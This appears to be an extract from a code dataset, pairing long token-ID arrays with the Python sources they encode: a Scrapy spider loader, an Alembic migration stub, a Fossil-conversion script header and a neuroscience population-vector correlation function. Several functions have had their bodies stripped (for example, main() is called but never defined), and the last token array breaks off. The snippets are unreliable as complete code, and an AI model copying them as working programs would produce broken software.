1080, 3557, 39066, 198, 62, 15908, 6978, 796, 10644, 7, 834, 7753, 834, 737, 8000, 198, 198, 2, 40806, 689, 625, 1123, 8265, 287, 428, 5301, 198, 2, 290, 28441, 262, 10017, 34499, 9156, 25504, 198, 1640, 8265, 62, 10951, 287, 279, 10025, 22602, 13, 2676, 62, 18170, 26933, 2536, 28264, 15908, 6978, 15437, 2599, 198, 220, 220, 220, 1303, 8778, 8265, 543, 24183, 10017, 7822, 198, 220, 220, 220, 1303, 329, 7559, 15633, 36, 5219, 8053, 9876, 15506, 290, 7559, 15633, 36, 5219, 9876, 15506, 198, 220, 220, 220, 1336, 62, 21412, 62, 3672, 796, 277, 1, 90, 834, 26495, 834, 27422, 90, 21412, 62, 10951, 13, 3672, 36786, 198, 220, 220, 220, 1336, 62, 21412, 62, 6978, 796, 4808, 15908, 6978, 1220, 277, 1, 90, 21412, 62, 10951, 13, 3672, 27422, 9078, 1, 198, 220, 220, 220, 1020, 796, 1330, 8019, 13, 22602, 13, 16684, 62, 6738, 62, 7753, 62, 24886, 7, 12853, 62, 21412, 62, 3672, 11, 965, 7, 12853, 62, 21412, 62, 6978, 4008, 198, 220, 220, 220, 8265, 796, 1330, 8019, 13, 22602, 13, 21412, 62, 6738, 62, 16684, 7, 16684, 8, 220, 1303, 2099, 25, 8856, 198, 220, 220, 220, 1020, 13, 29356, 13, 18558, 62, 21412, 7, 21412, 8, 220, 1303, 2099, 25, 8856, 198, 220, 220, 220, 1303, 29677, 6097, 198, 220, 220, 220, 6097, 796, 10104, 13, 1136, 30814, 7, 21412, 11, 10104, 13, 271, 4871, 8, 628, 220, 220, 220, 1363, 62, 7700, 62, 4871, 25, 5994, 58, 15633, 36, 5219, 16060, 9876, 60, 796, 4808, 1136, 62, 1102, 38669, 62, 4871, 7, 37724, 11, 6416, 36, 5219, 16060, 9876, 8, 198, 220, 220, 220, 611, 407, 1363, 62, 7700, 62, 4871, 13, 21754, 62, 1416, 13484, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 49706, 13, 24442, 7, 69, 1, 50, 4106, 2105, 9352, 286, 1391, 11195, 62, 7700, 62, 4871, 13, 27830, 3419, 5512, 355, 7559, 21754, 62, 1416, 13484, 15506, 4504, 10352, 19570, 198, 220, 220, 220, 220, 220, 220, 220, 2555, 628, 220, 220, 220, 1351, 62, 7700, 62, 4871, 25, 5994, 58, 15633, 36, 5219, 8053, 9876, 60, 796, 4808, 1136, 62, 1102, 38669, 62, 4871, 7, 37724, 11, 6416, 36, 5219, 8053, 9876, 8, 198, 220, 220, 220, 2443, 62, 4871, 25, 5994, 58, 15633, 36, 5219, 9876, 60, 796, 4808, 1136, 62, 1102, 38669, 62, 4871, 7, 37724, 11, 6416, 36, 5219, 9876, 8, 198, 220, 220, 220, 7386, 62, 11423, 62, 2502, 81, 1460, 796, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 6416, 36, 5219, 16060, 9876, 25, 1363, 62, 7700, 62, 4871, 11, 198, 220, 220, 220, 220, 220, 220, 220, 6416, 36, 5219, 8053, 9876, 25, 1351, 62, 7700, 62, 4871, 11, 198, 220, 220, 220, 220, 220, 220, 220, 6416, 36, 5219, 9876, 25, 2443, 62, 4871, 11, 198, 220, 220, 220, 1782, 198, 220, 220, 220, 1303, 21394, 262, 20957, 8633, 287, 7559, 6173, 49, 2969, 56, 62, 41983, 49, 42538, 15506, 523, 326, 7559, 1416, 2416, 88, 62, 7501, 316, 13, 818, 29192, 34621, 1574, 15506, 460, 8677, 262, 1774, 198, 220, 220, 220, 1303, 10017, 7822, 329, 1123, 2443, 2099, 319, 257, 583, 12, 27830, 4308, 198, 220, 220, 220, 7386, 796, 1363, 62, 7700, 62, 4871, 13, 27830, 3419, 198, 220, 220, 220, 4808, 1416, 2416, 88, 62, 7501, 316, 62, 2502, 81, 1460, 58, 27830, 60, 796, 7386, 62, 11423, 62, 2502, 81, 1460, 198, 220, 220, 220, 49706, 13, 24442, 7, 69, 1, 47473, 23170, 1460, 329, 1391, 27830, 38362, 1391, 27830, 62, 11423, 62, 2502, 81, 1460, 92, 4943, 628, 220, 220, 220, 1303, 17296, 262, 9037, 357, 10424, 12, 40976, 8, 923, 2956, 7278, 329, 428, 7386, 11, 198, 220, 220, 220, 1303, 284, 307, 973, 355, 5726, 4122, 7, 82, 8, 284, 42778, 2956, 7278, 284, 7559, 15633, 36, 5219, 8053, 9876, 15506, 82, 198, 220, 220, 220, 4808, 9688, 62, 6371, 62, 11600, 58, 11195, 62, 7700, 62, 4871, 60, 796, 1363, 62, 7700, 62, 4871, 13, 9688, 62, 6371, 82, 3419, 198, 220, 220, 220, 49706, 13, 10951, 7, 69, 1, 8912, 276, 1391, 12853, 62, 21412, 62, 3672, 92, 329, 1391, 27830, 92, 4943, 628, 198, 4299, 651, 62, 1416, 2416, 88, 62, 7501, 316, 62, 2502, 81, 1460, 3419, 4613, 360, 713, 58, 2536, 11, 360, 713, 58, 6030, 58, 13908, 9876, 4357, 5994, 58, 13908, 9876, 11907, 5974, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 16409, 25, 28373, 284, 20957, 262, 2748, 7559, 15633, 36, 5219, 8053, 9876, 15506, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 290, 7559, 15633, 36, 5219, 9876, 15506, 7822, 32366, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1912, 319, 262, 15881, 276, 7386, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1441, 4808, 1416, 2416, 88, 62, 7501, 316, 62, 2502, 81, 1460, 628, 198, 4299, 651, 62, 9688, 62, 6371, 82, 3419, 4613, 7343, 58, 2536, 5974, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 16409, 25, 383, 923, 2956, 7278, 329, 262, 15881, 88, 27784, 1754, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1441, 685, 6371, 329, 19016, 62, 4868, 287, 4808, 9688, 62, 6371, 62, 11600, 13, 27160, 3419, 329, 19016, 287, 19016, 62, 4868, 60, 628, 198, 4299, 651, 62, 9688, 62, 6371, 62, 11600, 3419, 4613, 360, 713, 58, 6030, 58, 15633, 36, 5219, 16060, 9876, 4357, 7343, 58, 2536, 60, 5974, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 16409, 25, 383, 923, 2956, 7278, 329, 262, 15881, 88, 27784, 1754, 11, 32824, 416, 850, 37724, 286, 7559, 15633, 36, 5219, 8053, 9876, 15506, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1441, 4808, 9688, 62, 6371, 62, 11600, 198 ]
2.959796
1,567
"""add foreign key Revision ID: 11b80498abeb Revises: bce514e0541f Create Date: 2021-11-08 18:26:51.860396 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '11b80498abeb' down_revision = 'bce514e0541f' branch_labels = None depends_on = None
[ 37811, 2860, 3215, 1994, 198, 198, 18009, 1166, 4522, 25, 1367, 65, 1795, 36260, 397, 1765, 198, 18009, 2696, 25, 275, 344, 47396, 68, 2713, 3901, 69, 198, 16447, 7536, 25, 33448, 12, 1157, 12, 2919, 1248, 25, 2075, 25, 4349, 13, 45039, 34107, 198, 198, 37811, 198, 6738, 31341, 2022, 291, 1330, 1034, 198, 11748, 44161, 282, 26599, 355, 473, 628, 198, 2, 18440, 42814, 11, 973, 416, 9300, 2022, 291, 13, 198, 260, 10178, 796, 705, 1157, 65, 1795, 36260, 397, 1765, 6, 198, 2902, 62, 260, 10178, 796, 705, 65, 344, 47396, 68, 2713, 3901, 69, 6, 198, 1671, 3702, 62, 23912, 1424, 796, 6045, 198, 10378, 2412, 62, 261, 796, 6045, 628, 198 ]
2.57265
117
#!/usr/bin/env python3 # --------------------------------------------------------------------- # bak_to_fossil_3.py # # Step 3 (alternate): Read data from a CSV file that was edited in # step 2, where commit messages were added and files to be skipped # were flagged. Run fossil (instead of git) to commit each change # with the specified date and time. # # This script is only for the initial creation and population of a new # (empty) Fossil repository. # # The Fossil repository file is created (fossil init) by this script. # It must not already exist. # # The directory for the repository will be created by this script if # it does not exist. # # --------------------------------------------------------------------- import argparse import csv import os import subprocess import sys from collections import namedtuple from datetime import datetime from pathlib import Path from textwrap import dedent from typing import List from bak_to_common import ( ask_to_continue, datetime_fromisoformat, log_fmt, plain_quotes, split_quoted, strip_outer_quotes, ) AppOptions = namedtuple( "AppOptions", "input_csv, repo_dir, repo_name, init_date, log_dir, fossil_exe, " + "filter_file", ) CommitProps = namedtuple( "CommitProps", "sort_key, full_name, datetime_tag, base_name, " + "commit_message, add_command", ) run_dt = datetime.now() log_path = Path.cwd() / f"log-bak_to_fossil_3-{run_dt:%Y%m%d_%H%M%S}.txt" filter_list = [] if __name__ == "__main__": sys.exit(main(sys.argv))
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 198, 2, 16529, 30934, 198, 2, 220, 275, 461, 62, 1462, 62, 69, 793, 346, 62, 18, 13, 9078, 198, 2, 198, 2, 220, 5012, 513, 357, 33645, 378, 2599, 4149, 1366, 422, 257, 44189, 2393, 326, 373, 13012, 287, 198, 2, 220, 2239, 362, 11, 810, 4589, 6218, 547, 2087, 290, 3696, 284, 307, 26684, 198, 2, 220, 547, 34060, 13, 220, 5660, 12584, 357, 38070, 286, 17606, 8, 284, 4589, 1123, 1487, 198, 2, 220, 351, 262, 7368, 3128, 290, 640, 13, 198, 2, 198, 2, 220, 770, 4226, 318, 691, 329, 262, 4238, 6282, 290, 3265, 286, 257, 649, 198, 2, 220, 357, 28920, 8, 40515, 346, 16099, 13, 198, 2, 198, 2, 220, 383, 40515, 346, 16099, 2393, 318, 2727, 357, 69, 793, 346, 2315, 8, 416, 428, 4226, 13, 198, 2, 220, 632, 1276, 407, 1541, 2152, 13, 198, 2, 198, 2, 220, 383, 8619, 329, 262, 16099, 481, 307, 2727, 416, 428, 4226, 611, 198, 2, 220, 340, 857, 407, 2152, 13, 198, 2, 198, 2, 16529, 30934, 198, 198, 11748, 1822, 29572, 198, 11748, 269, 21370, 198, 11748, 28686, 198, 11748, 850, 14681, 198, 11748, 25064, 198, 198, 6738, 17268, 1330, 3706, 83, 29291, 198, 6738, 4818, 8079, 1330, 4818, 8079, 198, 6738, 3108, 8019, 1330, 10644, 198, 6738, 2420, 37150, 1330, 4648, 298, 198, 6738, 19720, 1330, 7343, 198, 198, 6738, 275, 461, 62, 1462, 62, 11321, 1330, 357, 198, 220, 220, 220, 1265, 62, 1462, 62, 43043, 11, 198, 220, 220, 220, 4818, 8079, 62, 6738, 26786, 18982, 11, 198, 220, 220, 220, 2604, 62, 69, 16762, 11, 198, 220, 220, 220, 8631, 62, 421, 6421, 11, 198, 220, 220, 220, 6626, 62, 421, 5191, 11, 198, 220, 220, 220, 10283, 62, 39605, 62, 421, 6421, 11, 198, 8, 628, 198, 4677, 29046, 796, 3706, 83, 29291, 7, 198, 220, 220, 220, 366, 4677, 29046, 1600, 198, 220, 220, 220, 366, 15414, 62, 40664, 11, 29924, 62, 15908, 11, 29924, 62, 3672, 11, 2315, 62, 4475, 11, 2604, 62, 15908, 11, 12584, 62, 13499, 11, 366, 198, 220, 220, 220, 1343, 366, 24455, 62, 7753, 1600, 198, 8, 198, 198, 6935, 270, 2964, 862, 796, 3706, 83, 29291, 7, 198, 220, 220, 220, 366, 6935, 270, 2964, 862, 1600, 198, 220, 220, 220, 366, 30619, 62, 2539, 11, 1336, 62, 3672, 11, 4818, 8079, 62, 12985, 11, 2779, 62, 3672, 11, 366, 198, 220, 220, 220, 1343, 366, 41509, 62, 20500, 11, 751, 62, 21812, 1600, 198, 8, 198, 198, 5143, 62, 28664, 796, 4818, 8079, 13, 2197, 3419, 198, 198, 6404, 62, 6978, 796, 10644, 13, 66, 16993, 3419, 1220, 277, 1, 6404, 12, 65, 461, 62, 1462, 62, 69, 793, 346, 62, 18, 12, 90, 5143, 62, 28664, 25, 4, 56, 4, 76, 4, 67, 62, 4, 39, 4, 44, 4, 50, 27422, 14116, 1, 198, 198, 24455, 62, 4868, 796, 17635, 628, 628, 628, 628, 628, 628, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 25064, 13, 37023, 7, 12417, 7, 17597, 13, 853, 85, 4008, 198 ]
2.969582
526
""" Provide function for population vector correlation calculation """ import numpy as np from .. import errors as err def population_vector_correlation(stack_0, stack_1, **kwargs): """Calculates the bin-wise correlation between two stacks of rate maps Each stack corresponds to a separate Task, or trial. Each layer is the ratemap for a single cell from that Task. The same units should be given in the same order in each stack. Take a single column through the stack (i.e. 1 single bin/location in arena, with a firing rate for each cell), from each stack In the original MatLab implementation, three output modes were supported * 1D: (`numYbins`) - iterate over `i` 1) Take a 2D slice from each stack - all cells at all `X` positions at a single `Y` position `i` 2) Reshape from 2D to 1D 3) Calculate the Pearson correlation coefficient between the two 1D arrays 4) The value of `pv_corr_1d[i]` is the Pearson correlation coefficient arising from `Y` position `i` * 2D (`numXbins` x `numYbins`) - iterate over `i` 1) Take a 2D slice from each stack - all cells at all `X` positions at a single `Y` position `i` 2) Calculate the 2D array (`numXbins` x `numYbins`) where the `[j,k]`th value is the Pearson correlation coefficient between all observations at the `j`'th `X` location in `stack_left` and the `k`'th location in `stack_right` 3) The `i`'th row of `pv_corr_2d` is the DIAGONAL of the correlation matrix i.e. where `j==k` i.e. the correlation of the the SAME location in each stack for all observations (`numCells`) * 3D (`numXbins` x `numYbins` x iteration(=`numYbins`)) Same as 2D BUT take the whole correlation matrix, not the diagonal i.e. the full [j,k] correlatio between all X locations A note on correlation in Numpy vs Matlab Matlab's `corr(a, b)` function returns the correlation of ab Numpy's `corrcoef` function returns the normalised covariance matrix, which is: aa ab ba aa The normalised covariance matrix *should* be hermitian, but due to floating point accuracy, this is not actually guaranteed the MatLab function can be reproduced by taking either [0, 1] or [1,0] of the normalised covariance matrix. If `a`, `b` are 2D matricies, then they should have shape `(num_variables, num_observations)` In the case of this function, where the iterator is over the `Y` values of the rate map, that means: `(x_bins, num_cells)` Parameters ---------- stack_0: 3D array -or- list of 2D arrays stack_1: 3D array -or- list of 2D arrays `stack_x[i]` should return the `i`'th ratemap. This corresponds to a constructor like: `np.zeros(num_layers, y_bins, x_bins)` Alternatively, a list or tuple of 2D arrays may be supplied: `stack_x` = (`ratemap_0`, `ratemap_1`, `ratemap_2`, ...) row_major: bool Direction of iteration. If `True`, then each row is iterated over in turn and correlation is calculated per row. If `False`, then each column is iterated over in turn, and correlation is calculated per column. Default True (same behavior as in BNT) Returns ------- (p1, p2, p3) p1: np.ndarray (1D, iterator x 1) Array of Pearson correlation coefficients. i'th value is given by the correlation of the i'th flattened slice of stack_0 to the i'th flattened slice of stack_1 p2: np.ndarray (2D, iterator x non-iterator) i'th row is the diagonal of the correlation matrix, i.e. the correlation of the same location (location i) in each stack, i.e. where j==k p3: np.ndarray(3D, iterator x non-iterator x non-iterator) i'th array is the entire correlation matrix, rather than just the diagonal Notes -------- BNT.+analyses.populationVectorCorrelation Copyright (C) 2019 by Simon Ball """ debug = kwargs.get("debug", False) row_major = kwargs.get("row_major", True) # Perform input validation and ensure we have a pair of 3D arrays stack_0, stack_1 = _handle_both_inputs(stack_0, stack_1) # _handle_ has ensured that both arrays meet the shape/type requirements # Hardcode iterating over Y for now. num_cells, y_bins, x_bins = stack_0.shape if row_major: iterator = y_bins non_iterator = x_bins else: iterator = x_bins non_iterator = y_bins if debug: print(f"Number of ratemaps: {num_cells}") print(f"Ratemap dimensions: {y_bins} x {x_bins}") print(f"Iterating over axis length {iterator} (row_major is {row_major})") p1 = np.zeros(iterator) p2 = np.zeros((iterator, non_iterator)) p3 = np.zeros((iterator, non_iterator, non_iterator)) for i in range(iterator): if row_major: left = stack_0[:, i, :].transpose() right = stack_1[:, i, :].transpose() else: left = stack_0[:, :, i].transpose() right = stack_1[:, :, i].transpose() # 1D # Reshape 2D array to a 1D array correlation_value = np.corrcoef(left.flatten(), right.flatten())[0,1] p1[i] = correlation_value # 2D, 3D correlation_matrix = np.corrcoef(left, right)[0:non_iterator, non_iterator:] p2[i, :] = np.diagonal(correlation_matrix) p3[i, :, :] = correlation_matrix return (p1, p2, p3) ############################################################################### ############# ############# Error checking ############# def _handle_both_inputs(stack_0, stack_1): '''Handle error checking across both main inputs''' stack_0 = _handle_single_input(stack_0, 0) stack_1 = _handle_single_input(stack_1, 1) if stack_0.shape[0] != stack_1.shape[0]: raise err.ArgumentError("You have a different number of rate maps in each stack.") if stack_0.shape[1:] != stack_1.shape[1:]: raise err.ArgumentError("Your rate maps do not have matching dimensions") return stack_0, stack_1 def _handle_single_input(stack, i): '''Handle the input stack(s) and provide a correctly formatted 3D array Handle error checking for a variety of conditions for a single stack If not already a MaskedArray, then convert to that Parameters ---------- stack : array-like One of main inputs to population_vector_correlation. Should be either a 3D array, where each layer (stack[j]) is a RateMap, OR a list of 2D arrays, where each array is a 2D RateMap. If a list of arrays, all arrays must be the same dimension i : int Index of stack input, solely used for providing more meaningful error message Returns ------- stack : np.ma.MaskedArray 3D array of RateMaps, masked at invalid values ''' dims = None t = type(stack) if t not in (list, tuple, np.ndarray, np.ma.MaskedArray): raise ValueError(f"Stack_{i} must be array-like. You provided {t}") elif t in (tuple, list): for element in stack: e = type(element) if e not in (np.ndarray, np.ma.MaskedArray): raise err.ArgumentError(f"The elements of the list stack_{i} must be"\ f" NumPy arrays. You provided {e}") if dims is None: dims = element.shape else: if element.shape != dims: raise err.ArgumentError(f"Your ratemaps are not a consistent"\ f" shape in stack_{i}") # Passes error handling, now convert from list to masked array stack = np.ma.masked_invalid(stack) elif isinstance(stack, np.ndarray): # Ok, but convert to masked array stack = np.ma.masked_invalid(stack) dims = stack.shape[1:] else: # Instance is already a Masked Array dims = stack.shape[1:] return stack
[ 37811, 198, 15946, 485, 2163, 329, 3265, 15879, 16096, 17952, 198, 37811, 198, 11748, 299, 32152, 355, 45941, 198, 198, 6738, 11485, 1330, 8563, 355, 11454, 628, 198, 4299, 3265, 62, 31364, 62, 10215, 49501, 7, 25558, 62, 15, 11, 8931, 62, 16, 11, 12429, 46265, 22046, 2599, 198, 220, 220, 220, 37227, 9771, 3129, 689, 262, 9874, 12, 3083, 16096, 1022, 734, 24285, 286, 2494, 8739, 198, 220, 220, 220, 220, 198, 220, 220, 220, 5501, 8931, 24866, 284, 257, 4553, 15941, 11, 393, 4473, 13, 5501, 7679, 318, 262, 220, 198, 220, 220, 220, 4227, 368, 499, 329, 257, 2060, 2685, 422, 326, 15941, 13, 383, 976, 4991, 815, 307, 1813, 287, 198, 220, 220, 220, 262, 976, 1502, 287, 1123, 8931, 13, 198, 220, 220, 220, 220, 198, 220, 220, 220, 7214, 257, 2060, 5721, 832, 262, 8931, 357, 72, 13, 68, 13, 352, 2060, 9874, 14, 24886, 287, 198, 220, 220, 220, 13478, 11, 351, 257, 9645, 2494, 329, 1123, 2685, 828, 422, 1123, 8931, 198, 220, 220, 220, 220, 198, 220, 220, 220, 554, 262, 2656, 6550, 17822, 7822, 11, 1115, 5072, 12881, 547, 4855, 198, 220, 220, 220, 220, 220, 220, 220, 1635, 352, 35, 25, 357, 63, 22510, 56, 65, 1040, 63, 8, 532, 11629, 378, 625, 4600, 72, 63, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 352, 8, 7214, 257, 362, 35, 16416, 422, 1123, 8931, 532, 477, 4778, 379, 477, 4600, 55, 63, 6116, 379, 257, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2060, 4600, 56, 63, 2292, 4600, 72, 63, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 362, 8, 1874, 71, 1758, 422, 362, 35, 284, 352, 35, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 513, 8, 27131, 378, 262, 31074, 16096, 35381, 1022, 262, 734, 352, 35, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 26515, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 604, 8, 383, 1988, 286, 4600, 79, 85, 62, 10215, 81, 62, 16, 67, 58, 72, 60, 63, 318, 262, 31074, 16096, 35381, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 21539, 422, 4600, 56, 63, 2292, 4600, 72, 63, 198, 220, 220, 220, 220, 220, 220, 220, 1635, 362, 35, 357, 63, 22510, 55, 65, 1040, 63, 2124, 4600, 22510, 56, 65, 1040, 63, 8, 532, 11629, 378, 625, 4600, 72, 63, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 352, 8, 7214, 257, 362, 35, 16416, 422, 1123, 8931, 532, 477, 4778, 379, 477, 4600, 55, 63, 6116, 379, 257, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2060, 4600, 56, 63, 2292, 4600, 72, 63, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 362, 8, 27131, 378, 262, 362, 35, 7177, 357, 63, 22510, 55, 65, 1040, 63, 2124, 4600, 22510, 56, 65, 1040, 63, 8, 810, 262, 4600, 58, 73, 11, 74, 60, 63, 400, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1988, 318, 262, 31074, 16096, 35381, 1022, 477, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 13050, 379, 262, 4600, 73, 63, 6, 400, 4600, 55, 63, 4067, 287, 4600, 25558, 62, 9464, 63, 290, 262, 4600, 74, 63, 6, 400, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4067, 287, 4600, 25558, 62, 3506, 63, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 513, 8, 383, 4600, 72, 63, 6, 400, 5752, 286, 4600, 79, 85, 62, 10215, 81, 62, 17, 67, 63, 318, 262, 360, 3539, 38, 1340, 1847, 286, 262, 16096, 17593, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1312, 13, 68, 13, 810, 4600, 73, 855, 74, 63, 1312, 13, 68, 13, 262, 16096, 286, 262, 262, 311, 10067, 4067, 287, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1123, 8931, 329, 477, 13050, 357, 63, 22510, 34, 19187, 63, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1635, 513, 35, 357, 63, 22510, 55, 65, 1040, 63, 2124, 4600, 22510, 56, 65, 1040, 63, 2124, 24415, 7, 28, 63, 22510, 56, 65, 1040, 63, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 16766, 355, 362, 35, 21728, 1011, 262, 2187, 16096, 17593, 11, 407, 262, 40039, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1312, 13, 68, 13, 262, 1336, 685, 73, 11, 74, 60, 10895, 39485, 1022, 477, 1395, 7064, 198, 220, 220, 220, 220, 198, 220, 220, 220, 317, 3465, 319, 16096, 287, 399, 32152, 3691, 6550, 23912, 198, 220, 220, 220, 220, 198, 220, 220, 220, 6550, 23912, 338, 4600, 10215, 81, 7, 64, 11, 275, 8, 63, 2163, 5860, 262, 16096, 286, 450, 198, 220, 220, 220, 399, 32152, 338, 4600, 10215, 81, 1073, 891, 63, 2163, 5860, 262, 3487, 1417, 44829, 590, 17593, 11, 198, 220, 220, 220, 543, 318, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 257, 64, 220, 450, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 26605, 220, 257, 64, 198, 220, 220, 220, 383, 3487, 1417, 44829, 590, 17593, 1635, 21754, 9, 307, 607, 2781, 666, 11, 475, 2233, 284, 198, 220, 220, 220, 12462, 966, 9922, 11, 428, 318, 407, 1682, 11462, 198, 220, 220, 220, 262, 6550, 17822, 2163, 460, 307, 31759, 416, 2263, 2035, 685, 15, 11, 352, 60, 393, 685, 16, 11, 15, 60, 198, 220, 220, 220, 286, 262, 3487, 1417, 44829, 590, 17593, 13, 220, 628, 220, 220, 220, 1002, 4600, 64, 47671, 4600, 65, 63, 389, 362, 35, 2603, 1173, 444, 11, 788, 484, 815, 423, 5485, 4600, 7, 22510, 62, 25641, 2977, 11, 997, 62, 672, 3168, 602, 8, 63, 198, 220, 220, 220, 554, 262, 1339, 286, 428, 2163, 11, 810, 262, 41313, 318, 625, 262, 4600, 56, 63, 3815, 198, 220, 220, 220, 286, 262, 2494, 3975, 11, 326, 1724, 25, 4600, 7, 87, 62, 65, 1040, 11, 997, 62, 46342, 8, 63, 628, 220, 220, 220, 40117, 198, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 8931, 62, 15, 25, 513, 35, 7177, 532, 273, 12, 1351, 286, 362, 35, 26515, 198, 220, 220, 220, 8931, 62, 16, 25, 513, 35, 7177, 532, 273, 12, 1351, 286, 362, 35, 26515, 198, 220, 220, 220, 220, 220, 220, 220, 4600, 25558, 62, 87, 58, 72, 60, 63, 815, 1441, 262, 4600, 72, 63, 6, 400, 4227, 368, 499, 13, 770, 24866, 284, 257, 220, 198, 220, 220, 220, 220, 220, 220, 220, 23772, 588, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4600, 37659, 13, 9107, 418, 7, 22510, 62, 75, 6962, 11, 331, 62, 65, 1040, 11, 2124, 62, 65, 1040, 8, 63, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 25929, 11, 257, 1351, 393, 46545, 286, 362, 35, 26515, 743, 307, 14275, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4600, 25558, 62, 87, 63, 796, 357, 63, 10366, 368, 499, 62, 15, 47671, 4600, 10366, 368, 499, 62, 16, 47671, 4600, 10366, 368, 499, 62, 17, 47671, 2644, 8, 198, 220, 220, 220, 5752, 62, 22478, 25, 20512, 198, 220, 220, 220, 220, 220, 220, 220, 41837, 286, 24415, 13, 1002, 4600, 17821, 47671, 788, 1123, 5752, 318, 11629, 515, 625, 287, 1210, 198, 220, 220, 220, 220, 220, 220, 220, 290, 16096, 318, 10488, 583, 5752, 13, 220, 198, 220, 220, 220, 220, 220, 220, 220, 1002, 4600, 25101, 47671, 788, 1123, 5721, 318, 11629, 515, 625, 287, 1210, 11, 290, 16096, 318, 220, 198, 220, 220, 220, 220, 220, 220, 220, 10488, 583, 5721, 13, 220, 198, 220, 220, 220, 220, 220, 220, 220, 15161, 6407, 357, 31642, 4069, 355, 287, 347, 11251, 8, 628, 220, 220, 220, 16409, 198, 220, 220, 220, 35656, 198, 220, 220, 220, 357, 79, 16, 11, 279, 17, 11, 279, 18, 8, 198, 220, 220, 220, 279, 16, 25, 45941, 13, 358, 18747, 357, 16, 35, 11, 41313, 2124, 352, 8, 198, 220, 220, 220, 220, 220, 220, 220, 15690, 286, 31074, 16096, 44036, 13, 1312, 470, 71, 1988, 318, 1813, 416, 262, 220, 198, 220, 220, 220, 220, 220, 220, 220, 16096, 286, 262, 1312, 470, 71, 45096, 16416, 286, 8931, 62, 15, 284, 262, 1312, 470, 71, 198, 220, 220, 220, 220, 220, 220, 220, 45096, 16416, 220, 286, 8931, 62, 16, 198, 220, 220, 220, 279, 17, 25, 45941, 13, 358, 18747, 357, 17, 35, 11, 41313, 2124, 1729, 12, 48727, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1312, 470, 71, 5752, 318, 262, 40039, 286, 262, 16096, 17593, 11, 1312, 13, 68, 13, 262, 16096, 198, 220, 220, 220, 220, 220, 220, 220, 286, 262, 976, 4067, 357, 24886, 1312, 8, 287, 1123, 8931, 11, 1312, 13, 68, 13, 810, 474, 855, 74, 198, 220, 220, 220, 279, 18, 25, 45941, 13, 358, 18747, 7, 18, 35, 11, 41313, 2124, 1729, 12, 48727, 2124, 1729, 12, 48727, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1312, 470, 71, 7177, 318, 262, 2104, 16096, 17593, 11, 2138, 621, 655, 262, 40039, 628, 220, 220, 220, 11822, 198, 220, 220, 220, 24200, 198, 220, 220, 220, 347, 11251, 13, 10, 272, 43710, 13, 39748, 38469, 10606, 49501, 628, 220, 220, 220, 15069, 357, 34, 8, 13130, 416, 11288, 6932, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 14257, 796, 479, 86, 22046, 13, 1136, 7203, 24442, 1600, 10352, 8, 198, 220, 220, 220, 5752, 62, 22478, 796, 479, 86, 22046, 13, 1136, 7203, 808, 62, 22478, 1600, 6407, 8, 198, 220, 220, 220, 220, 198, 220, 220, 220, 1303, 35006, 5128, 21201, 290, 4155, 356, 423, 257, 5166, 286, 513, 35, 26515, 198, 220, 220, 220, 8931, 62, 15, 11, 8931, 62, 16, 796, 4808, 28144, 62, 16885, 62, 15414, 82, 7, 25558, 62, 15, 11, 8931, 62, 16, 8, 198, 220, 220, 220, 220, 198, 220, 220, 220, 1303, 4808, 28144, 62, 468, 30169, 326, 1111, 26515, 1826, 262, 5485, 14, 4906, 5359, 198, 220, 220, 220, 1303, 6912, 8189, 11629, 803, 625, 575, 329, 783, 13, 220, 198, 220, 220, 220, 997, 62, 46342, 11, 331, 62, 65, 1040, 11, 2124, 62, 65, 1040, 796, 8931, 62, 15, 13, 43358, 198, 220, 220, 220, 611, 5752, 62, 22478, 25, 198, 220, 220, 220, 220, 220, 220, 220, 41313, 796, 331, 62, 65, 1040, 198, 220, 220, 220, 220, 220, 220, 220, 1729, 62, 48727, 796, 2124, 62, 65, 1040, 198, 220, 220, 